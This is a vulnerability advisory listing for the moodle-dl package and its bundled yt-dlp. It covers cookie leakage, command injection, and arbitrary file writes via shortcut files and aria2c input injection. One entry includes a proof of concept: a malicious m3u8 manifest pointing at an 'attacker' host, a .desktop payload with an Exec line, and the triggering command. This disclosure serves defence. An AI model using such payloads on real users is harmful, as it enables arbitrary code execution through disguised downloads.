Threats affecting pkg:brew/moodle-dl

A vulnerability in the AIOHTTP shared cookie handling allows the Secure attribute to be ignored, potentially causing a cookie marked as Secure to be sent over unencrypted requests. This affects versions of the product moodle-dl from 2.3.13 up to but not including 2.3.13_14. The issue has a medium severity rating and a CVSS score of 6.3. A fix is available in version 2.3.13_14.

A command injection vulnerability (CVE-2026-26331) exists in yt-dlp when using the --netrc-cmd option or netrc_cmd Python API parameter. This flaw allows attackers to execute arbitrary shell commands by supplying a malicious URL that influences the netrc "machine" value passed unsafely to a shell command. The vulnerability affects yt-dlp versions prior to 2026.02.21. The issue is mitigated in version 2026.02.21 by validating netrc "machine" values. Users not using the --netrc-cmd option or netrc_cmd parameter are not affected. No active exploitation has been observed in the wild.

### Summary A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as `.desktop`, `.url`, `.webloc`) to the user's filesystem, bypassing the remediation for `CVE-2024-38519`. ### Details The fix for `CVE-2024-38519` enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as `.exe` or `.sh`) during file downloads. However, this allowlist explicitly included the unsafe extensions `.desktop`, `.url`, and `.webloc` so that the functionality of the `--write-link` option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download. Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an `EXT-X-MEDIA:TYPE=SUBTITLES` tag with a malicious URI (e.g., `URI="http://attacker/x.desktop"`), which would result in yt-dlp writing the attacker-controlled content to a file with a `.desktop` extension if the user had passed the `--write-subs` option. Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments. While these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a "subtitles"/media file, leading to a phishing attack or arbitrary code execution. ### Proof of Concept **1. Start a malicious server:** Host a malicious `master.m3u8` manifest that points to malicious subtitle payloads: ```m3u8 #EXTM3U #EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en" ``` And host the `payload.desktop` file with malicious content: ```ini [Desktop Entry] Type=Application Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)" Name=Subtitle ``` **2. Trigger the download:** In this case, the generic extractor triggers the exploit if the `--write-subs` option is used: ```bash yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8" ``` **Result:** yt-dlp writes `MyVideo.en.desktop` to disk, containing the attacker payload. ### Patches yt-dlp version 2026.06.09 fixes this issue by removing `.url`, `.desktop` and `.webloc` from the global file extension allowlist, and by only allowing those file types to be written from within the context of the `--write-link` options' functionality. ### Workarounds It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible. Users who are not able to upgrade should do ALL of the following: - Only pass fully **trusted** input URLs to yt-dlp - Do not use the `--write-subs`, `--write-auto-subs`, `--embed-subs`, `--write-thumbnail`, `--write-all-thumbnails`, or `--embed-thumbnail` options - Use `--format -` to interactively select download formats and validate their file extensions

### Summary If aria2c is used as an external downloader for a fragmented manifest format (such as an HLS/DASH stream), yt-dlp passes insufficiently sanitized input to aria2c that allows an attacker to perform an arbitrary file write. On Windows platforms, this can lead to immediate arbitrary code execution. On non-Windows platforms, this can lead to arbitrary code execution upon the next invocation of yt-dlp. ### Details When downloading a fragmented manifest format such as an HLS or DASH stream, yt-dlp first extracts a list of all fragment URLs from the stream's manifest. If the user has selected aria2c as an external downloader, yt-dlp then constructs an input file for aria2c from the fragment URL list and passes its filepath as the argument to aria2c's `-i` option. aria2c's `-i` (or `--input-file`) option allows for downloading a list of URIs from the given text file. The text file must be formatted as a list of URIs separated by newlines. aria2c's format permits configuration lines for each URI, which can contain command-line options to be given to aria2c. These optional lines follow each URI line and are signified only by leading whitespace. yt-dlp constructs the input file with these optional lines so that it's able to specify the output filename for each fragment using the `out=` option. yt-dlp's utilization of the aria2c input file format presents two known attack vectors: 1. An attacker can craft a malicious DASH manifest with one or more fragment URLs that contain `
`, which is the HTML escape sequence for a newline. yt-dlp interprets this escape sequence as an actual newline character when writing the fragment URLs to the aria2c input file, which allows for an attacker to inject arbitrary aria2c options into the input file. With option injection, the attacker can achieve arbitrary file writes. This attack vector is possible only via downloads of DASH formats, since their manifests are an XML format which necessitates unescaping of HTML special characters. 2. An attacker can craft a malicious metadata response where the data parsed by yt-dlp as the `title` field (or any other metadata field that the user includes in their output template) contains strategically placed newlines and magnet URIs. If the user has passed the `--no-windows-filename` option to disable sanitization of newlines in output filenames, the attacker is able to achieve arbitrary file writes by injecting arbitrary URIs and options into the aria2c input file. This attack vector is possible via downloads of both HLS and DASH formats. On Windows, attacker-controlled file writes can lead to immediate arbitrary code execution: the attacker could write a malicious executable file named `ffmpeg.exe` to the current working directory, and it could be invoked during the postprocessing stage if the user's `yt-dlp.exe` also resides in the current working directory. On all platforms, attacker-controlled file writes can lead to arbitrary code execution on repeat invocations of yt-dlp: the attacker could write a yt-dlp configuration file (`yt-dlp.conf`) to the current working directory containing a malicious `--exec` argument. ### Patches yt-dlp version 2026.06.09 fixes this issue by removing support for downloading fragmented manifest formats with aria2c. ### Workarounds It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible. For users who are not able to upgrade: - Add `--downloader dash,m3u8:native` to your yt-dlp command.

A command injection vulnerability exists in yt-dlp's --exec option when unsafe string formatting conversions are used in the command template. This allows attackers to inject arbitrary shell commands via crafted video metadata. The issue affects users who use unsafe conversions like %()s in their --exec templates. A fix is available in yt-dlp version 2026.06.09 that restricts allowed conversions and limits characters in command templates.

A command injection vulnerability exists in yt-dlp when using the --write-link, --write-url-link, or --write-desktop-link options. Improper sanitization of metadata values can lead to malicious shortcut files (.url on Windows and .desktop on Linux) that execute arbitrary commands when opened by the user. This affects certain versions of the moodle-dl product that bundle yt-dlp. The vulnerability has a high severity with a CVSS score of 8.8. A patch is available to address this issue.

This update for yt-dlp fixes the following issues: Changes in yt-dlp: - Update to version 2026.06.09 * Fixed [CVE-2026-50019]: File Downloader cookie leak with curl * Fixed [CVE-2026-50023]: Dangerous file type creation via insufficient filename sanitization * Fixed [CVE-2026-50574]: Arbitrary code execution via manifest downloads with aria2c * Added lockfile and pinned extras * Removed url, desktop and webloc from safe extensions * Extract supplemental codecs from DASH manifests * abematv: Extract subtitles * ard: Support new ardsounds domain * monstercat: Support older URLs * pornhub: Support browser impersonation * reddit: Fix unauthenticated extraction * rtp: Support multi-part episodes and --no-playlist * s4c: Extract more metadata * soop: Adapt extractors to new domain * soundcloud: Support --extractor-retries for original formats * twitch: Remove dead rechat subtitles * twitter: Fix view_count extraction * external: aria2c: Remove support for m3u8/dash protocols * ffmpegmetadata: Avoid erroneous ISO 639 conversions